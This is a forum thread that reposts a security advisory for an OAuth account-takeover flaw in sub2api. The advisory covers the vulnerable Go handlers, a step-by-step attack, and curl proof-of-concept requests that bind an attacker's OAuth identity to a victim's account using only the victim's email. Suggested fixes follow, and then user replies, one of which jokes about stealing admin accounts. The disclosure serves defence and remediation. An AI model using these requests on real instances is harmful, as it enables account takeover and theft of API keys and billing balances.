- sundx2026-08-0763789
sub2api v0.1.171 及之前版本存在一个 CVSS 8.8 的高危 OAuth 账户接管漏洞。攻击者仅需知道受害者注册邮箱,无需密码或验证码、无需用户交互,即可通过接口将自己的 OAuth 身份绑定到受害者账户,完全控制其 API 密钥、账单余额与订阅配额。
攻击者利用 pending session 流程中 existingUser 分支不校验密码和验证码的缺陷,将目标用户 ID 设为受害者后完成 OAuth 身份绑定。此后攻击者每次 OAuth 登录均会解析为受害者账户。
github.com/Wei-Shaw/sub2api
OAuth Account Takeover via Pending Exchange Bypass in sub2api
已打开 01:34AM - 07 Aug 26 UTC

TechnologyStar
Summary
A critical account-takeover vulnerability exists in sub2api's OAuth …pending-session exchange flow. An attacker who possesses only the victim's registered email address can bind their own OAuth identity to the victim's account through the
/auth/oauth/pending/exchangeendpoint, without requiring the victim's password, email verification code, or any user interaction. After binding, every subsequent OAuth login by the attacker is resolved to the victim's account, granting full control over the victim's API keys, billing balance, and subscription quotas.The root cause is a three-layer defect in
backend/internal/handler/auth_oauth_pending_flow.go:1.
ExchangePendingOAuthCompletiononly intercepts theemail_completionandbind_login_requiredsteps, leavingchoose_account_action_requiredunguarded.
2.applyPendingOAuthAdoptionunconditionally callsapplyPendingOAuthBindingregardless of the adoption decision's content.
3.shouldBindPendingOAuthIdentityreturnstrueunconditionally whenintent == "login", without verifying that the session is in a terminal, verifiable state.The vulnerability affects all OAuth providers that route through the pending-session flow (linux.do, OIDC, WeChat, DingTalk). GitHub and Google may follow a separate verified-email path that requires additional audit.
Affected Versions
- Project: Wei-Shaw/sub2api
- Affected versions:
<= v0.1.171(latest release as of disclosure) - Fixed version: None — PR is pending merge at time of writing
CVSS
CVSS v3.1 Base Score: 8.8 (High)```
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
```| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network | Exploited via HTTP API remotely |
| Attack Complexity | Low | Multi-step HTTP request sequence, no race condition |
| Privileges Required | Low | Attacker needs any OAuth account (low registration bar) |
| User Interaction | None | No victim interaction required |
| Scope | Unchanged | Impact confined to sub2api account system |
| Confidentiality | High | Full read of victim's API keys and account data |
| Integrity | High | Attacker can modify account, bind new identities |
| Availability | High | Attacker can drain subscription quotas and disable service |Prerequisites
1. Attacker controls any OAuth account on a supported provider (e.g., a freshly registered linux.do account).
2. Attacker knows the victim's registered email address on the sub2api instance. Email addresses are commonly obtainable through:
- Public profile information
- Community channels (chat groups, forums)
- Social engineering
- Prior data leaksNo password, no email verification code, no captcha bypass, and no victim interaction are required.
Vulnerable Code
Location```
backend/internal/handler/auth_oauth_pending_flow.go
``### Defect A —ExchangePendingOAuthCompletiondoes not intercept all steps``go
func (h AuthHandler) ExchangePendingOAuthCompletion(c gin.Context) {
session := loadPendingSession(c)
step := completionPayload.Step// ⚠️ Only these two steps are intercepted.
// choose_account_action_required falls through to adoption/binding.
if step == "email_completion" || step == "bind_login_required" {
c.JSON(200, gin.H{"step": step, ...})
return
}// Unintercepted steps (incl. choose_account_action_required) reach here.
adoptionDecision := parseAdoptionDecision(c)
h.applyPendingOAuthAdoption(ctx, session, adoptionDecision)
// ... issues token pair ...
}
``### Defect B —applyPendingOAuthAdoptionalways triggers binding``go
func (h *AuthHandler) applyPendingOAuthAdoption(ctx, session, decision) (...) {
// adopt_display_name / adopt_avatar affect display attributes only,
// they have nothing to do with account ownership. Yet binding still runs.
if decision.AdoptDisplayName || decision.AdoptAvatar {
h.updateUserProfileFields(ctx, session.TargetUserID, decision)
}
// ⚠️ Binding is invoked regardless of the adoption decision.
return h.applyPendingOAuthBinding(ctx, session)
}func (h *AuthHandler) applyPendingOAuthBinding(ctx, session) (...) {
if h.shouldBindPendingOAuthIdentity(session) {
// Writes attacker's OAuth identity into auth_identities table
// with user_id = session.TargetUserID (i.e., the victim).
h.authService.BindOAuthIdentity(ctx, session.TargetUserID,
session.ProviderType, session.ProviderSubject)
}
}
``### Defect C —shouldBindPendingOAuthIdentityreturns true unconditionally forintent == "login"````go
func (h *AuthHandler) shouldBindPendingOAuthIdentity(session) bool {
// ⚠️ No verification that the session is in a terminal, verifiable state.
// No check for canIssueTokenPair or email-verified flag.
if session.Intent == "login" {
return true
}
if session.Intent == "bind_current_user" {
return session.HasCurrentUserCookie
}
return false
}
```## Attack ScenarioStep 1 — Attacker initiates OAuth login
The attacker starts a normal OAuth login flow with their own provider account (e.g., linux.do). The callback handler cannot find an existing
auth_identityfor the provider subject, so the session enters thechoose_account_action_requiredstate, prompting the user to choose between "create new account" or "bind to existing account".Step 2 — Attacker submits the victim's email
The attacker calls
POST /auth/oauth/pending/create-accountwith:email= victim's registered emailpassword= any arbitrary valueverify_code= omitted or empty
Because the submitted email already exists in the
userstable, the handler transitions the pending session to thechoose_accountchoice state and sets:TargetUserID= victim'suser_idexisting_account_bindable=true
Critically, this path does NOT validate the password, does NOT require an email verification code, and skips the captcha gate when the email already exists. The system conflates "email exists" with "the submitter owns this email" — a trust-boundary inversion.
Step 3 — Attacker calls exchange with an adoption decision
The attacker calls
POST /auth/oauth/pending/exchangewith an adoption decision payload:```json
{
"adopt_display_name": true,
"adopt_avatar": true
}
``These two boolean fields control only display attributes (nickname / avatar) and have no semantic relationship to account ownership. However,ExchangePendingOAuthCompletiondoes not interceptchoose_account_action_required(Defect A), so the request falls through toapplyPendingOAuthAdoption→applyPendingOAuthBinding(Defect B), andshouldBindPendingOAuthIdentityreturnstruebecauseintent == "login"` (Defect C).The attacker's OAuth identity is now persisted in
auth_identitieswithuser_id = victim's user_id.Step 4 — Subsequent OAuth login resolves to the victim
On the attacker's next OAuth login with the same provider account,
findOAuthIdentityUserlooks up theauth_identitiestable, finds the entry created in Step 3, and resolves the attacker to the victim'suser_id. The system issues the victim's access token / refresh token pair to the attacker.The account takeover is now complete and persistent. The attacker can:
- Read all of the victim's API keys (Claude / OpenAI / Gemini / Grok, etc.)
- Drain billing balance and subscription quotas
- Modify account profile, payment bindings, and password
- If the victim participates in a subscription carpool group, access other members' information
- Impersonate the victim for social-engineering follow-up attacks
Proof of Concept
The following is a minimal PoC demonstrating the attack against a local instance. Replace
<victim_email>with the target's registered email. Run with an authenticated attacker OAuth session cookie from Step 1.1. Trigger OAuth login as the attacker```
GET /oauth/linuxdo/start
# Complete the OAuth dance on linux.do with the attacker's account.
# Callback lands at /oauth/linuxdo/callback and returns a pending_session_id.
``### 2. Submit the victim's email to enter thechoose_account_action_requiredstate``bash
curl -X POST "https://<instance>/auth/oauth/pending/create-account" \
-H "Content-Type: application/json" \
-H "Cookie: pending_session=<pending_session_id>" \
-d '{
"email": "<victim_email>",
"password": "any_random_value",
"display_name": "attacker"
}'
``**Expected response** (note theexisting_account_bindableflag and absence of captcha requirement):``json
{
"step": "choose_account_action_required",
"existing_account_bindable": true,
"target_user_id": <victim_user_id>
}
``### 3. Exchange the pending session with an adoption decision to bind the attacker's OAuth identity``bash
curl -X POST "https://<instance>/auth/oauth/pending/exchange" \
-H "Content-Type: application/json" \
-H "Cookie: pending_session=<pending_session_id>" \
-d '{
"adopt_display_name": true,
"adopt_avatar": true
}'
``**Expected response** (the attacker now receives the victim's token pair):``json
{
"access_token": "<victim_access_token>",
"refresh_token": "<victim_refresh_token>",
"user": { "id": <victim_user_id>, "email": "<victim_email>", ... }
}
```### 4. Verify the takeoverThe attacker can now call any authenticated API endpoint with the issued
access_tokenand is treated as the victim. CallingGET /api/user/profilereturns the victim's account details, API keys, and billing state.Impact
- Full account takeover with no password, no email verification, and no user interaction required.
- API key disclosure — all upstream API keys (Claude / OpenAI / Gemini / Grok / Antigravity) bound to the victim's account are exposed.
- Billing and quota abuse — attacker can drain prepaid balance and consume subscription quotas.
- Carpool group collateral damage — if the victim is in a shared subscription carpool, other members' data and quotas may be affected.
- Reputation and payment risk — attacker can post content, send private messages, and modify payment bindings under the victim's identity.
- Persistence — the binding survives until manually removed from
auth_identities; the attacker can re-login at will. - Scalability — the attack can be scripted to enumerate and take over multiple accounts in bulk if email lists are available.
Root Cause Analysis
The vulnerability arises from three compounding design flaws:
1. Non-exhaustive state machine
ExchangePendingOAuthCompletionenumerates only a subset of pending-session steps for explicit interception. Any step not in the whitelist (includingchoose_account_action_required) is implicitly treated as "safe to proceed to binding," violating the fail-closed principle.2. Trust-boundary inversion
When the attacker submits the victim's email, the system sets
TargetUserID = victim's user_idbased solely on the email-existing lookup. This conflates a neutral fact ("this email exists in the database") with an authorization claim ("the submitter owns this email"). The correct proof of email ownership — a verification code sent to that email — is bypassed on theexisting_account_bindablepath.3. Intent/permission semantic confusion
shouldBindPendingOAuthIdentitytreatsintent == "login"(an anonymous, unverified state) as more permissive thanintent == "bind_current_user"(a logged-in, cookie-verified state). The function returnstrueunconditionally forloginintent without checkingcanIssueTokenPairorHasVerifiedEmail. This is the opposite of least-privilege — anonymous sessions should be the most restricted, not the least.Suggested Fix
The fix has three layers, all of which should be applied:
Fix 1 — Fail-closed in
ExchangePendingOAuthCompletionOnly execute identity binding when the session is in a terminal, verifiable state OR the request originates from an authenticated
bind_current_usersession. All other states return the payload only and do NOT consume the session.```go
func (h AuthHandler) ExchangePendingOAuthCompletion(c gin.Context) {
session := loadPendingSession(c)// ✅ Only allow binding in terminal or authenticated-bind states.
if !session.CanIssueTokenPair && session.Intent != "bind_current_user" {
// Non-terminal state — return payload, do NOT bind, do NOT consume.
c.JSON(200, buildCompletionPayload(session))
return
}if session.Intent == "bind_current_user" && !session.HasCurrentUserCookie {
c.JSON(403, gin.H{"error": "bind_current_user requires login cookie"})
return
}h.applyPendingOAuthBinding(ctx, session)
c.JSON(200, h.issueTokenPair(session.TargetUserID))
}
``### Fix 2 — Require email verification on thechoose_account_action_required` pathWhen the submitted email already exists, force a verification code to be sent to that email and require it on the subsequent exchange. The
existing_account_bindableshortcut must be removed.```go
// In create-account handler:
if emailExists {
// Do NOT set existing_account_bindable = true.
// Instead, transition to email_verification_required and send a code.
session.Step = "email_verification_required"
h.authService.SendPendingOAuthVerifyCode(ctx, session, email)
c.JSON(200, gin.H{"step": "email_verification_required"})
return
}
``### Fix 3 — TightenshouldBindPendingOAuthIdentity`Require both
CanIssueTokenPairandHasVerifiedEmailforloginintent.```go
func (h *AuthHandler) shouldBindPendingOAuthIdentity(session) bool {
switch session.Intent {
case "login":
return session.CanIssueTokenPair && session.HasVerifiedEmail
case "bind_current_user":
return session.HasCurrentUserCookie && session.HasVerifiedEmail
}
return false
}
```## Defense-in-Depth RecommendationsIn addition to the core fix, the following hardening measures are recommended to prevent similar issues from recurring:
1. Single-consume pending sessions — Add a
consumedflag topending_auth_session. Onceexchangesucceeds, mark the session as consumed and reject any subsequentexchangecall with410 Gone, preventing replay attacks.
2. Anomaly alerting — Alert when a single IP binds OAuth identities to 3+ distinctuser_ids within 1 hour, which is a strong signal of mass takeover attempts.
3. Audit other OAuth providers — GitHub and Google follow theRegisterVerifiedOAuthEmailAccountpath because they return verified emails. Confirm this path is not reachable from thechoose_account_action_requiredstate. Also audit WeChat, OIDC, and DingTalk for the same defect class.
4. Unit-test the state machine — Add tests covering every(intent, step)combination and assert that binding only occurs for the terminal / authenticated-bind cases.
5. Consider removingchoose_account_action_requiredentirely — The "bind to existing account" UX flow can be replaced with an explicitbind_current_userflow that requires the user to first log in with their existing credentials, then visit the profile page to bind a new OAuth identity. This eliminates the anonymous-bind attack surface.Timeline
Date Event 2026-08-04 sub2api v0.1.171 released (latest affected version) 2026-08-06 Vulnerability disclosed via GitHub PR #5345 2026-08-07 This advisory published References
- Fix PR: https://github.com/Wei-Shaw/sub2api/pull/5345
- Project repository: https://github.com/Wei-Shaw/sub2api
- Related security PRs:
- #5268 — Turnstile ticket required before OAuth signup submission (merged)
- #5261 — Tencent Tianyu captcha gate for anonymous auth endpoints (closed)
- #5327 — User-agent validation before persisting account fingerprint (open)
- #5200 — Refresh token race prevention across tabs (merged)
Credits
Reported by independent security researcher. The fix PR was prepared and submitted in parallel with this advisory.
Disclaimer
This advisory is provided for defensive and remediation purposes only. The proof-of-concept commands are intentionally minimal and require an authenticated attacker session; they should only be executed against instances under the reporter's own control for validation purposes.
主楼 - Zeus_Jie2026-08-076943
那我默认 admin 不得炸了
- 天天2026-08-079854
没事,只要你不开OAuth就没事,开了被攻击确实要炸
- Muse2026-08-079296
不是,直接是新版本,然后安全反馈发到issue ? 不应该是发到 github security ?
- longxuan2026-08-0733711
还好我是在公司内网里搭建的,也没有开启oauth
- 月2026-08-0717032
感谢开源 我现在就去把中转站的管理员账号盗了^-^^-^^-^^-^
- 廿四2026-08-0715699
我焯,这个怎么排查啊,我给自建的都是用邮箱登录的
- 布鲁斯·韦恩2026-08-0727955
- 地狱之歌2026-08-0763813
害怕 我们用转中转的有什么影响吗 不知道会不会泄露什么
